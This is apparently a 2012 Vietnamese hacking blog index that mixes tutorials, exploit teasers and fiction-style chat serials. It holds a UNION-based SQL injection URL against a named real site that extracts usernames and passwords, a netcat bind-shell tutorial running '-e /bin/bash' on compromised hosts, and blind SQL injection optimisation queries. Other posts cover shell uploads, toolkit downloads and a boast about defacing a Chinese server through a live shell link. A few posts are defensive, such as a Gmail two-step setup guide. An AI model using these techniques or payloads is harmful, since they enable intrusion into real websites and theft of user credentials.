WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting
Software: WP e-Commerce
Software Language: PHP
Version: 3.8.9 and below
Vendor Status: Vendor contacted
Release Date: 2012-11-12
Risk: High
Thứ Bảy, 1 tháng 12, 2012
6 Random Injections
1/
Mã:
http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username,0x3b,password),5,6,7,8,9,10 from users_tbl--
Đọc Thêm
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......:
Đọc Thêm
MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection
Tut:
1. Tạo cái user trên forum victim.
2. Tạo cái Album rồi upload hình lên.
-> 2 bước trên để có được cái ID user và ID của album sử dụng cho bước thứ 3.
Đọc Thêm
Puzzles to Test your Hacking Skills
Hello Friends,
Many readers of my site want to be a hacker.... and till then of course you have learnt many things.... So now its time to check your hacking Skills.
Đọc Thêm
"Testing Image collection" shell and files upload vulnrablity
intitle:"Testing Image Collections"
Đọc Thêm
CK Hash Cracker
CK_HASH_CRACKER VERSION 3.0 Download Link: Click Here
__Change Log__
Hash Identifier Modified
Tutorial: How Crack IDM
https://www.box.com/shared/codrpymlceTutorial by Lovepascal (2007).
[Tutorial]Backconnect with netcat
netcat windows-http://anonym.to/?http://joncraton.o...at-for-windows
nc to upload with shell-http://www.multiupload.nl/TOBD6TAOXE
2.Upload nc with shell
![[IMG]](http://data.sinhvienit.net/2012/T12/img/SinhVienIT.Net---1.png)
3.set chmod 777 for nc
![[IMG]](http://data.sinhvienit.net/2012/T12/img/SinhVienIT.Net---2.png)
4.run command ./nc -vv -l -p [port] -e /bin/bash at shell
5.open cmd direct to where nc save like this cd c:\
and run this command nc -vv [ip target] [port]
![[IMG]](http://data.sinhvienit.net/2012/T12/img/SinhVienIT.Net---3.png)
6.now you have back connect it
![[IMG]](http://data.sinhvienit.net/2012/T12/img/SinhVienIT.Net---6.png)
[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit
Đọc Thêm
Thứ Hai, 26 tháng 11, 2012
Thứ Năm, 22 tháng 11, 2012
Nghịch ChangUonDyU Chatbox[ Dành cho Newbie] Phần 2
[+]_./http://www.tmt-today.com/2012/10/nghich-changuondyu-chatbox-danh-cho.html
Đọc Thêm
[TUT] Local Cơ bản cho newbie
Đọc Thêm
Thứ Ba, 20 tháng 11, 2012
3 cách phòng chống DDOS cho trang web của bạn
Tấn công DDOS hay còn được gọi tấn công từ chối dịch vụ đơn giản được hiểu là tạo ra 1 lượt truy cập ảo ồ ạt vào một địa chỉ website tại cùng một thời điểm nào đó đã định sẵn nhằm “đánh sập” máy chủ lưu trữ khiến nó chạy chậm hoặc không thể chạy được nữa.
Chủ Nhật, 18 tháng 11, 2012
Wapbuilser- Share code + Data VietWap.Us
Mọi người không cần biết tại sao Zip dc và tại sao có nhé . Chẳng qua cũng chỉ là Bugs mà thôi
Link down
Code : http://www.mediafire.com/?xmr70y5pf26n4ya
Data: http://www.mediafire.com/?2l2yzde2vwcdgc8
Nguồn : internet
Cách tạo user để remote desktop khi có quyền Sa
Đầu tiên thì ta cần phải có đc victim
http://www.domain.com/product_category.asp?categoryL1=106'
Đọc Thêm
[Tutorial] Tut check XSS locate.apple.com theo phương thức Post
Victim: locate.apple.com
Công cụ: Live HTTP để bắt các request
Bước 1: Vào trang chủ:locate.apple.com
Đọc Thêm
[Exploit] ms12-020 Remote Desktop DoS
Lỗ hổng này được công bố khá là lâu rồi nhưng chắc vẫn sẽ có nhiều máy bị dính. Ảnh hưởng như thế nào thì tất cả chúng ta đọc bài này đều biết
-- Lỗ hổng này sẽ làm cho máy bị tấn công lập tức bị cash ( màn hình xanh chết chóc )
-- Thông tin chi tiết về các phiên bản bị ảnh hưởng xem tại
http://technet.microsoft.com/en-us/security/bulletin/ms12-020
Đọc Thêm
Video tut ActiveX IE + DNS spoof
**1 chú ý quan trọng: nhớ stop ettercap trước khi tắt nhé. vì nếu tắt ngang xương thì sẽ rớt mạng như chơi ^.^
Tut Xâm nhập máy tính =Backtrack 5 -remote desktop(Phần 2)
Tut Xâm nhập máy tính =Backtrack 5 (Phần 1)
Thứ Năm, 15 tháng 11, 2012
Hướng dẫn tạo Sock 5 private bằng SSH
Nhân tiện được thằng bạn cho con VPS mình có cài hệ điều hành Centos và cài SSH để có thể tạo sock5 Private luôn. Nếu bạn nào không có host hỗ trợ SSH có thể vào các link này để đăng ký
Thứ Tư, 14 tháng 11, 2012
Symlink sa 3.0
Download:
Mã:
http://www.mediafire.com/?n5spzc6z79512jg
TUT hướng dẫn sử dụng:
Mã:
http://www.mediafire.com/?rqd1m6sgllssi50
Nguồn Google.com
Chủ Nhật, 11 tháng 11, 2012
Video+tool hack wifi
Tài liệu trên mạng mình sưu tầm được, mong sẽ giúp được mọi người (xem cho biết thôi, chứ thực hành thì có lẽ không được đâu)
http://www.mediafire.com/?n4n9g83u1iy24pf
[TUT]Chống hack gmail đơn giản
Khi bị người khác biết được pass gmail của mình thì việc bạn bị mất dữ liệu hoặc bí mật bên trong hộp thư của bạn là chắc. Vậy làm sao chúng ta khắc chế được để có bảo mật cao hơn? Thực ra trong gmail có chức năng kích hoạt 2 lớp cảnh báo bảo vệ, nếu áp dụng nó thì kể cả người ta biết pass gmail của ta cũng chưa chắc đã vào được hòm thư của mình.
Thủ thuật này được tôi tóm lược như sau:
1. Bạn click vào mục Accounts settings ở góc phải của hòm thư, sau đó Google sẽ chuyển giao diện đến trang thiết lập chung cho tài khoản Google Accounts.
Tại thẻ Security, mục Using 2-step verification bạn click chọn nút Edit để tiến hành kích hoạt chức năng chứng thực hai lớp.
2. Sau đó Google sẽ chuyển đến các trang giới thiệu về tính năng bảo mật này. Bạn tiếp tục click See how it works! và Start setup để chuyển sang bước cài đặt mã chứng thực trên thiết bị di động.
3. Tiếp theo bạn nhập số điện thoại và chọn cách nhận mã chứng thực qua tin nhắn (text messages) hay cuộc gọi thoại (voice call – ở đây bạn sẽ nhận được một cuộc gọi tự động đọc cho bạn mã xác nhận băng tiếng Anh). Bạn nên chọn hình thức SMS và nhấn Send code. Sau vài giây hệ thống sẽ gửi vào điện thoại của bạn mã số đăng ký.
Bạn tiếp tục dùng mã số này để nhập vào ô trống trong phần Type the code you receive in the phone message, and click Verify. Hoàn tất công đoạn bạn nhấn Verify để xác nhận sử dụng số điện thoại di động trên để nhận mã chứng thực đăng nhập từ Google.
Sau bước này bạn có thể yên tâm vì hòm thư Gmail của mình đã được trang bị 2 tầng bảo vệ.
Chúc các bạn thành công!
Thứ Bảy, 10 tháng 11, 2012
Whmcs includes Shell Upload
#########################################################
# Vuln Title: Whmcs includes Shell Upload
# Author: TMT
# Date: 27/10/2012
# Software Link: http://www.whmcs.com/
# Mail : 0168800549@yahoo.com
# Tested on: [relevant os]
# Dork : inurl: submitticket.php?step=2
# Website : http://vnhack.us | http://tmt-today.com
Đọc Thêm
Code PHP CHMOD tất cả file và thư mục trên website
Code này để thuận tiện hơn cho việc chmod nhiều file và folder.
• Để chmod 777 all file and folder:
Tạo một file có tên chmod.php có nội dung
Code:
<?php system('find . -type d -exec chmod 777 {} \; 2>&1'); system('find . -type f -exec chmod 777 {} \; 2>&1'); echo("\n\nComplete!"); ?>
- Up lên
host rồi chạy link đến chmod.php . Ví dụ http://yourdomain.com/forum/chmod.php
• Để chmod về mặc định với folder là 755 và file là 644 thì làm như trên nhưng với nội dung file chmod.php như sau:
Code:
<?php
system('find . -type d -exec chmod 755 {} \; 2>&1');
system('find . -type f -exec chmod 644 {} \; 2>&1');
echo("\n\nComplete!");
?>
Lưu ý: một số host sẽ cấm vì sử dụng hàm -exec
Mình đã up lên mediafire cho anh em
http://www.mediafire.com/download.php?c96u2a2ynuak9an
Share code WAP wapnhanh.us (phpBB 3.0)
[+]code : http://www.mediafire.com/?ef5aagrgjjwc4ac (http://wapnhanh.us/tmt.tar)
[+]data : http://www.mediafire.com/?4g514p1bk796075
Pass : vnhack.us
Nguồn: VNH Group
[Tổng hợp] Shell, NetCut, Symlink, CGI...
Tổng hợp bộ Shell, NetCut, Symlink, CGI... public lên đây cho anh em, đặc biệt là newbie có thêm tools tham khảo để testing.
Download:
http://www.mediafire.com/download.php?jbi4c20wt6haa4w
Pass:
phimhq.net@vnhack.us
Về cách sử dụng thì trong 4rum cũng có rồi, nếu chưa thạo thì Google search hộ cái nhé. Good luck to you!
Thứ Năm, 8 tháng 11, 2012
[War Game] Test Your Hacking Skills
Mọi người thử xem nhé. Vì có những Level có thể các bạn đã từng tham gia ở vài site Test Hacking Skills khác. Nhưng mình đảm bảo các level sau sẽ khó hơn và thú vị hơn đó .
Mình sẽ tăng thêm số level và mức độ ở những Level tiếp theo.
Hãy thử tư duy và khả năng suy luận, giải mã, decrypt của bạn ra sao nhé!
Link: http://poly-edu.in/war-game/
Đạt Level 7: donate 10 thank cho người đầu tiên, 5 thanks cho bạn tiếp theo và giảm dần nhé!
+ Made by Juno +
Thứ Hai, 5 tháng 11, 2012
Những cuộc đối thoại với rookie - Phần 14
17. Những điều xem chừng vụn vặt:
Dạo này bọn tôi, 'cuti', 'haothu', 'docco', 'ccxx' và tôi ít có dịp trò chuyện như trước. Có lẽ mấy cô cậu phải vùi đầu vào sách vở và phần tôi cũng không kém phần căng thẳng. Hàng loạt dự án đã được phê chuẩn và ông trưởng dự án nào cũng muốn dự án của mình có ưu tiên cao nhất. Nói thế tôi hy vọng bạn hình dung được nổi thống khổ của một kẻ 'làm công cho thiên hạ'.
Đọc Thêm
Những cuộc đối thoại với rookie - Phần 13
16. công cụ tiện ích hay đồ tra tấn:
Suốt nhiều tuần qua, tôi vùi đầu vào công việc. Các công trình đang đi vào giai đoạn chạy nước rút cho kịp hạn định nên tôi chẳng còn mấy thời gian để trao đổi với bộ bốn. Tôi vẫn nhận mail từ 'cuti', 'docco', 'haothu' và 'ccxx' khá đều đặn và không có chọn lựa nào khác hơn là trả lời qua quít và hẹn gặp lại trong vài tuần tới. Bộ bốn cũng có vẻ khá bận rộn với bài vở ở trường. Mỗi lần trả lời e-mail, tôi luôn luôn nhắc bộ bốn xem lại nội dung của những lần 'đà khía' trước đây và khuyên mấy trự ấy đào sâu vào các chi tiết quan trọng. Tuần sau 3/4 khối lượng công trình tôi đang làm sẽ hoàn tất, tôi gởi chung một e-mail đến bộ bốn và hẹn gặp nhau chiều thứ bảy. Tất nhiên cả bọn náo nức chờ đợi buổi tái ngộ sau một thời gian dài vì tôi nhận e-mail hồi đáp thật nhanh với nội dung thật hứa hẹn.
Đọc Thêm
Những cuộc đối thoại với rookie - Phần 12
15. tcp/ip info, thật hay giả?:
Mấy ngày qua tôi nhận e-mail dồn dập từ bộ tứ 'cuti', 'ccxx', 'haothu' và 'docco', về những điều các cô cậu tìm thấy trong những lần táy máy. Tôi trả lời bộ tứ một cách tổng quát và sơ sài, đại loại như "tốt lắm, thử thêm một tí nữa đi" hoặc "đã đến mức này, ráng động não một tí đi em"..... Mấy cô cậu bức xúc lắm và nhất định hẹn gặp nhau vào cuối tuần để gỡ rối. Tôi nhận lời sẽ online trên YIM khoảng trưa thứ Bảy.
Đọc Thêm
Những cuộc đối thoại với rookie - Phần 11
14. Banner, thật hay giả?:
Một tuần lễ trôi qua. Tôi nhận được vài e-mail của bộ tứ cuti, ccxx, docco và haothu với nội dung phần lớn là những thắc mắc về lý do tại sao việc xác định "footprint" của mục tiêu lại quan trọng đến như vậy. Tôi quá bận rộn nên chỉ hồi đáp một cách tổng quát và hẹn lần 'đà khía' kế tiếp sẽ trả lời chi tiết hơn. Tôi cũng không quên nhắc mấy 'trự' nên xem kỹ cơ chế truyền tải thông tin của giao thức TCP vì nó sẽ dẫn đến một bước sâu hơn trong việc tìm "footprint" của mục tiêu. Bộ tứ đề nghị hoãn lại cuộc 'đà khía' thêm một tuần để đủ thời gian chuẩn bị và tất nhiên là tôi đồng ý.
Đọc Thêm
Fuck China (5/11/2012)
đang iên đang lành tự dưng thằng bé kiếm đâu con shell đưa mình nghịch cùng.
http://www.fortunecitychina.com/upload/1352108327.php
nhớ đến mình có cái này : http://kechocgian.blogspot.com/2012/08/nghich-index-deface-china.html
tìm mò 1 lúc đâm ra thế này x_x . cho nó tiêu 1 sever
Đọc Thêm
Bypass XSS filters
Sau buổi tranning H'sM của bạn Mạnh Luật về XSS chúng ta đã thấy được sự nguy hiểm cũng như mức độ phổ biến của XSS -> có nhiều cách để ngăn chặn XSS -> kẻ tấn công cũng sẽ nghĩ ra nhiều kiểu tấn công mới để vượt qua các "bộ lọc".
Đa số các "bộ lọc" sẽ sử dụng cách cơ bản nhất là chặn các thẻ <script></script>.
Đọc Thêm
Tối ưu Blind SQL Injection - Phần 2
Hi All,
Mình mạn phép share bài viết tiếp theo của Luật về chủ đề Tối Ưu Blind SQL Injection.
---------------------------------------------------------------------------------------------
Okie, tiếp tục bài viết "Tối ưu hóa Blind SQL Injection" cách đây vài hôm của mình . Có hứa là "ngày mai" ...nhưng các bạn thông cảm. Ăn tất niên quên cả giờ giấc.
Thôi vào thẳng vấn đề. Cách tối ưu của mình thì cũng không có gì đặc sắc lắm, cứ xem nó là 1 gợi ý cho các bạn để tìm cách tấn công tối ưu nhất vậy.
.................
I. Sleep cùng 1 lúc...tên hay phết.
Thay vì như cách sleep luôn giá trị find_in_set trả về thì có thể sleep rất lâu, cũng có thể sleep rất lẹ và 1 số nhược điểm mà mình nói trong bài lần trước, thì mình có cách khắc phục đó là:
Tức là thay vì sleep 39 giây. thì chúng ta sẽ tách ra là 3 và 9 để sleep. Với cách này có thể khắc phục các trường hợp find_in_set quá lớn và quá nhỏ, ngoài ra cũng có thể code ra tool để chạy song song 2 query này. Thế là nội trong ít nhất 9 giây ta có thể biết luôn cả char cần tìm thay vì là 39 giây .
II. Tùy chọn giá trị trả về
Đây là cách mình nói ở cuối bài lần trước, tuy rằng cách này thiên về tốc độ, không như cách sleep của anh gamma là tối ưu về số lượng query và câu cú query đơn giản.
VD: Ta có 1 trang news (ex: http://gov.ca.gov/news.php?id=17267). Như các bạn biết, các table chứa các nội dung của những bản tin tức sẽ được tạo theo cấu trúc (minh họa đơn giản nhất, thực tế thì sẽ có thêm vài columns nữa)
Tức là với mỗi ID khác thì Content cũng sẽ khác, với mỗi id khác thì bản tin được trang web in ra cũng sẽ khác. vậy lợi dụng vào việc này ta có thể tùy chọn giá trị id trả về sau mỗi query rồi dùng một ngôn ngữ nào đó ta regex (regular expression) để so sánh.
Để cụ thể hơn mình có 1 source ở localhost. giả dụ đây là 1 trang tin tức. Click vào để xem hình chi tiết hơn.
như các bạn thấy ở mỗi id khác thì nội dung cũng sẽ khác.
Vấn đề ở đây là nếu Blind SQLI như bình thường thì ta chỉ quan tâm TRUE or FALSE, rồi xem những nội dung mà chỉ khi TRUE mới hiện ra có được trang web in ra hay không. Nhưng ta cũng có thể tùy chọn giá trị id trả về. Ví dụ ta khai thác trang localhost bằng query này:
[font=courier new,courier,monospace]content.php?id=if(substring(@@version,1,1)=5,1,2)[/font]
Tức là nếu kí tự đầu tiên của version SQL là 5 thì id sẽ là 1 , nếu không phải id sẽ là 2. Rồi dựa vào nội dung đặc trưng và khác nhau giữa 2 bản tin ấy ta có thể biết kí tự đầu tiên của version có phải là 5 hay không. Vậy với câu query như thế này thì sao ?
if((@a:=mid(INSTR(0x6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738395f21402324255e262a28292d2b3d5c2e225c277e605c5c7c7b7d5b5d3a3b20,mid(@@version,1,1)),1,1))!='',if(@a=0,10,if(@a=1,1,if(@a=2,2,if(@a=3,3,if(@a=4,4,if(@a=5,5,if(@a=6,6,if(@a=7,7,if(@a=8,8,if(@a=9,9,0)))))))))),0)
Câu query này đang tách giá trị find_in_set ra làm 2 rồi tìm, giống như cách 1 ở trên. Nhờ vào nội dung ta có thể biết đang là id mấy, từ id ta có thể truy ra con số đầu tiên mà find_in_set trả về là bao nhiêu chỉ trong vòng 1 query ? vậy tối đa ta chỉ dùng 2 query là đã ra 1 kí tự.Done.
?id=0 , SQL nó không trả về kết quả vì nó hiểu giống như là NULL ở kiểu định dạng string,thì đây là NULL ở dạng int...thì phải. Cái này không rõ lắm .
Vậy các điều kiện để thực hiện cách khai thác này chỉ là có đủ 10 nội dung ở 10 id khác nhau , ở đây là 10 bản tin khác nhau để có thể so sánh qua lại tìm ra giá trị cần tìm . Mọi chi tiết, thắc mắc về bài viết này xin gửi mail cho mình ở bên dưới. Peace!
manhluat93
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Thanks,
Thong Ngo.
Tối ưu Blind SQL Injection
Hi All,
Mạn phép trích bài viết trên blog ku Luật để anh em tham khảo và bình luận nhé :
Hôm nay, đi TetCon nguyên 1 ngày. Mình thì ko thật sự hiểu 2 chủ đề Sandbox và Fuzzing.thôi nói chung không phải chuyên ngành mình nên ko ý kiến, dù rằng nghe bảo rất hay
Tóm tắt về cách anh gamma optimize về Blind SQL Injection là thế này.
Dùng find_in_set (về sau thì gamma dùng instr, mình cũng thấy instr hay hơn) để đánh chỉ mục (index). Tức là nếu select find_in_set('a','a,b,c,d...z'); thì nó sẽ trả về 1. nếu find_in_set('b','a,b,c,d...z') => 2 .
Kết hợp với Bit-Shifting, ta xác định là dù kí tự gì thì cũng phải 7 query/char (8 bit, nhưng fix ngay bit cao nhất là 0, vì sao thì mở bảng ascii ra xem). Mình cũng đã code ra cái tool này rôi, nhưng cuối cùng chả xài.
Vậy nếu kết hợp 2 cái này lại thì ta sẽ tối ưu đc gì ?. Nếu ta find_in_set đủ các kí tự printable (kí tự in ra đc) thì là: abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&;*()-+=\."\'~`\\|{}[]:; (khoảng trắng nữa nhé) , tổng cộng là 45 kí tự. vậy nếu ta Bit-shifting cái con số find_in_set trả về thì max cũng chỉ là 45 là 101101 (Bin) , vậy tối đa chỉ có 6 q/s (query/char), còn đối với các số nhỏ hơn thì lại càng ít hơn.
Okie. cơ bản là thế, vậy anh gamma đã tối ưu nó như thế nào ?. Lúc đầu thật sự mình tò mò, ko biết 1 q/s là ntn. Xem qua thì ý tưởng của a khá hay. Tức là ta không còn dùng bit-shifting để tìm ra giá trị find_in_set trả về. mà dùng chính kĩ thuật Time-based SQLI. Anh ấy cho SQL sleep luôn giá trị find_in_set trả về, tức là sleep(find_in_set(.....)) ,thế tức là anh ấy sẽ xem thằng SQL nó "ngủ" bao nhiêu giây thì sẽ ra giá trị find_in_set -> char cần tìm -> 1 q/s/ Clear ?
Ưu điểm thì:
- ý tưởng và cách khai thác của anh hay
- khả năng bị detect qua log ko cao. vì chỉ có 1 query/ 1 char. thay vì 6 q/s.
Ok. Theo mình thì ý tưởng là hay, nhưng cách này cũng còn vài nhược điểm dễ thấy như:
- Time-based SQLI phụ thuộc rất nhiều vào đường truyền giữa Attacker-Server
- Nếu giá trị find_in_set quá nhỏ thì lại gây nhầm lẫn. về sau a ấy có fix thêm 1 chút là thêm 4-5 kí tự đằng trước để các giá trị nhỏ ko còn nhỏ nữa (tự hiểu đê ).
- Nếu giá trị find_in_set quá lớn lại ngủ quá lâu, có thể bị timeout bất cứ lúc nào
- Nói chung ý tưởng của anh thì mình thấy là hay và tốt , nhưng giá trị thực tiễn để áp dụng thì chưa cao lắm. nhưng cũng có thể là a đang gợi ý hoặc cho 1 ý tưởng để các bạn có thể suy nghĩ ra cách khác optimize Blind hay hơn .
Nói chung là thế. Nhưng chưa hết, ngày mai mình sẽ viết 1 bài về Optimize Blind SQLI của mình nghĩ ra. Nếu hội tủ vài điều kiện (đ/k này thì ko quá khó, mình nghĩ 90% site bị Blind SQLI sẽ hội tủ đc điều này) thì chỉ cần 2 query / char . Và có thể query song song , tức là có thể dùng cURL cho chạy 2 query 1 lúc -> ko phụ thuộc vào time-based. khả năng bị detect qua log ko cao mấy vì chỉ có 2 query. tốc độ nhanh. Nói chung mai các bạn sẽ biết chi tiết...
manhluat93
Anh em cùng phân tích và đưa ra ý tưởng nào
@baby : Chưa thấy bài "ngày mai" gì đó của chú.
Thanks,
Thong Ngo.
Hướng dẫn hack web PHP, ASP Jet và Access, ASP OLEDB
1, PHP
1. '
2. order by x--
x: 1,2,3....
Có thể thay dấu + cho khoảng trắng
3. union select all 1,2,...x--
Đọc Thêm
Tổng hợp các challenge về SQL Injection
Mình tổng hợp cách trang về SQL Injection tại đây để thực tâp
Test sql query tại đây : http://sqlfiddle.com/#!2/6dc47/6
Kiến thức cơ bản : http://www.websec.ca/kb/sql_injection
Wargame :
http://zerocoolhf.altervista.org/
http://www.zixem.altervista.org/
==> Mọi thảo luận về cách làm các challenge hay kỹ thuận có thể bàn luận tại đây
Những cuộc đối thoại với rookie - Phần 10
13. Information... What for? - II
Chiều nay như đã hẹn, tôi log vào YIM. Mấy 'khuôn mặt' YIM của cuti, ccxx, haothu và docco đều "trắng bệch". Tôi thầm nghĩ, "chà, mấy trự này vẫn chưa lên hay có trục trặc gì rồi". Tôi quyết định gởi cùng một offline message cho cả bốn 'trự' để khi nào có ai lên thì cho tôi biết. Chỉ trong vài giây tôi nghe bốn tiếng "Knock, knock", "Knock, knock" và hai khuôn mặt "vàng choé" của docco và ccxx online. 'docco' chào trước:
"Chào anh, anh lên lâu chưa vậy?"
Đọc Thêm
Những cuộc đối thoại với rookie - Phần 9
12. Information... What for? - I
Mấy tuần qua tôi quá bận rộn nên đã 'lờ' khá nhiều mail và offline messages từ bộ ba 'cuti', 'haothu' và 'docco' và tất nhiên tôi cũng lờ khá nhiều mail từ những người khác. Tôi được nghỉ bù liên tiếp ba ngày (cộng với hai ngày cuối tuần là năm ngày). Dự định sẽ đưa gia đình đi chơi đâu đó, không ngờ trời đổ mưa tầm tã cho nên đành phải thúc thủ trong nhà. Tôi quyết định online để đọc mail, trả lời mail và xem offline messages. Như dự đoán, tôi có hàng trăm email trong inbox và hàng 'tấn' offline messages. Đang trong lúc thong thả đọc và trả lời từng cái (đáng trả lời), YIM bỗng nhiên báo 'cuti' vừa vào. Tôi hết sức ngạc nhiên vì lúc này bên VN mới có 7 giờ sáng. Không hiểu 'cuti' làm gì mà mò vào YIM sáng tinh mơ như thế. Tôi bèn gởi anh chàng một message:
"Hello Hưng, làm gì mà mò lên đây sớm quá vậy?"
Trong tích tắc, tôi nhận được hồi báo:
"Ui trời, hôm nay là ngày gì mà đặc biệt vậy? Sao giờ này anh lên đây, bộ anh không đi làm sao?"
Tôi đáp:
"À, anh được mấy ngày nghỉ bù, định đi chơi đâu đó nhưng trời đang mưa tầm tã nên lên web dạo chơi . Còn em làm gì mà dậy sớm vậy?"
'cuti' trả lời có vẻ uể oải:
"Dạ, đáng lẽ hôm nay em đi học nhưng bị cúm mấy hôm nay, trong người còn thấy nhừ quá nên ở nhà. Em dậy hồi sớm à. Nằm hoài trong giường buồn quá nên mò lên net chơi. Vậy anh em mình 'đà khía' lai rai được hông anh?"
Tôi cười, đáp:
"Nếu trời cứ mưa thì anh em mình tha hồ mà 'đà khía' nhưng trời tạnh mưa thì anh sẽ dẫn mấy thằng nhóc đi chơi. Em muốn 'đà khía' gì đây?"
'cuti' khoái chí:
"Hi hi, em muốn trời mưa hoài. Anh em mình 'đà khía' chuyện gì mà không được anh? Chuyện trên trời, dưới đất cho vui mà. À, em có một chuyện cũng buồn cười lắm. Anh muốn nghe không?"
Tôi ngần ngừ:
"Èm... cũng tùy chuyện đó là chuyện gì nữa em. Nếu em nghĩ là anh thích nghe thì em kể đi."
'cuti' bẽn lẽn"
"Cũng chẳng có gì đặc biệt đâu anh. Chuyện em với con 'ghệ' bồ đó mà."
Tôi đáp:
"Ui trời, 'nàng tiên của lòng anh' mà sao gọi là 'con ghệ' vậy em? "
'cuti' cười, trả lời câu hỏi của tôi:
"Anh không biết đó thôi, đó là cách gọi thân mật và âu yếm đó thôi mà."
Tôi trả lời:
"Ái chà... có lẽ anh lỗi thời rồi. Anh mà gọi bà xã anh là 'con ghệ' thì chắc nguy to . Ừa, em kể đi, có chuyện gì với 'con ghệ' mà em có vẻ phấn khởi vậy?"
'cuti' bắt đầu:
"Anh còn nhớ hồi bữa, lần cuối cùng bốn anh em mình 'đà khía' hông? Thật ra hôm đó em có hẹn với 'con ghệ' nhưng em quyết định cho nó leo cây. Ai biểu tắt di động làm chi, em gọi hoài không được nên... xù."
Tôi thắc mắc:
"Tắc di động là tắc thế nào em? anh không hiểu lắm."
'cuti' phát biểu:
"Kiểu này anh phải về VN làm một khóa tu từ đi anh, 'di động' là điện thoại di động đó. Hì hì."
Tôi đáp:
"À... hoá ra là thế. Anh cứ ngỡ con mèo di động hay con chuột di động gì đó "
'cuti' tiếp tục:
"Em phải dùng từ cẩn thận không thì lại bị anh kê cho. Tối hôm đó, 'con ghệ' đợi hoài không thấy em đến nên nổi 'khùng' lên. Điện thoại di động em thì hết pin mà cũng chưa kịp sạc nữa. Thế là ẻm bèn phóng xe đến nhà em. Chưa giáp mặt, đã mắng em xối xả vì em đã cho bả leo cây."
Tôi xen vào:
"Vậy là tốt rồi, 'nường' còn chịu khó phóng xe đến nhà em để mắng thì không có gì trầm trọng. Rồi sao nữa."
'cuti' cười, nói tiếp:
"Hì hì, anh không rõ đó thôi. Con bồ em tánh nóng như lửa, có gì là huỵch toẹt ra hết. Lúc đó nghe thì cũng ngứa con ráy lắm nhưng riết cũng quen. Nó buộc tội em là mê net, mê chat với 'con quỷ cái' nào đến nỗi phải cho nó leo cây. Em cố sức phân trần nhưng không hiệu quả. Rốt cuộc em phải cho nó xem nội dung mấy anh em mình 'đà khía' nó mới chịu yên."
Tôi cười:
"Hì hì, hoá ra trước đó em chưa hề kể cho 'con ghệ' nghe về mối quan hệ 'bất chính' của mấy anh em mình sao?"
'cuti' trả lời:
"Dạ, em định kể cho nó nghe nhiều lần nhưng cứ mỗi lần đi chơi mà đề cập đến tin học, đến máy tính là nó gạt phăng đi. Nó nói "bộ ôm máy cả ngày, cả tuần chưa đã nư sao mà hễ mở miệng ra là máy tính, máy tính" nên em... im luôn."
Tôi đáp:
"Thú vị lắm. Vậy sau đó thế nào em?"
'cuti' cười hớn hở:
"Dạ sau đó thì tụi em đi uống nước một chút rồi về. Lúc mấy anh em mình kết thúc thì bên đây mới có 7 giờ tối chớ mấy anh. Thế là trong lúc đi uống nước, 'con ghệ' cứ đem chuyện mấy anh em mình 'đà khía' ra hỏi dồn. Em nói với nó là em có lưu lại nội dung anh em mình chat, để em cho nó một bản để đọc cho khỏi thắc mắc."
Tôi đáp:
"Ừa, con gái là chúa tò mò mà em. Cái gì càng dấu, càng thích tò mò ."
'cuti' cười hi hi, rồi nói tiếp:
"Chưa hết. Sau khi em đưa cho nó cái file chứa nội dung anh em mình chat, mấy ngày sau nó nhất định đòi em phải giới thiệu anh cho nó. Nó cũng muốn tham gia 'đà khía' với mấy anh em mình luôn. Em nói là em sẽ chuyển lời nhưng em không hứa gì hết."
Tôi cười ghẹo 'cuti':
"Hì hì, được dịp trả đũa nên làm khó 'nường' hay sao đây? Hoá ra là chuyện con bé muốn tham gia . Thì cứ dẫn 'nường' lên 'đà khía' chung chớ có gì quan trọng đâu em?"
'cuti' trả lời:
"Em nói thiệt mà anh. Em không thể hứa gì nó vì em không biết hay sẽ nói gì. Lỡ may em đề nghị và anh phán con gái, con lứa mà bày vẽ, lắm chuyện thì có quê cả đám hông à."
Tôi đáp:
"Có gì mà không ok em. Kêu nó tham gia cho vui chớ có sao đâu à."
"cuti" trả lời:
"Dạ, để em báo cho nó biết. 'Con gái, con lứa' mệt lắm anh ơi, khi thế này, khi thế kia, chẳng biết đường nào mà mò."
Bên ngoài mưa đã ngớt. Tôi đoán mấy thằng nhóc của tôi sắp sửa vòi vĩnh chuyện đi chơi đây. Cho nên tôi cho 'cuti' biết:
"Có lẽ anh sẽ đi chơi với mấy thằng nhóc. Trời bên này đã tạnh mưa rồi em. Chiều tối nay anh ở nhà, nếu thích em rủ đám Khoa, Duy và 'con ghệ' vào đà khía cho vui."
"cuti" hớn hở:
"Dạ, vậy thì vui quá. Em bệnh nằm nhà hoài chán quá. Được đà khía vậy thì quá đã. Để em điện cho tụi nó liền. Vậy khoảng mấy giờ anh lên?"
Tôi phỏng chừng:
"Anh đoán khoảng 4, 5 giờ chiều bên em đó, có tiện không?"
'cuti' chậc lưỡi đáp:
"Chậc chậc... hơi kẹt đó anh. Bọn em thì dễ nhưng con Như chắc kẹt vì em đoán giờ đó nó phải nấu cơm chiều rồi. Thôi kệ nó vậy. Khi khác cho nó tham gia cũng được."
Tôi 'chỉnh' 'cuti':
"Hèm... nó là girl friend của em mà cứ 'con' với 'nó' nghe hông 'ngọt' tí nào hết em. Vậy ngày mai khoảng 2 giờ trưa bên em được hông?"
'cuti" trả lời:
"Dạ, 2 giờ trưa thì chắc ok rồi anh. Nó có lên trễ một tí cũng không sao. Còn chuyện 'nó' với 'con' em bị quen miệng rồi anh ơi. Gọi thế nào cho ổn đây anh?"
Tôi đáp:
"Kêu bằng tên đi em và cũng không cần phải đệm thêm chữ 'con' . Rồi, 2 giờ trưa bên em hả? Anh đi đây."
'cuti' phàn nàn:
"Dạ chào anh. Đúng là anh già khó tính, thêm chữ 'con' cũng không được ."
Tôi logoff.
----------------------------
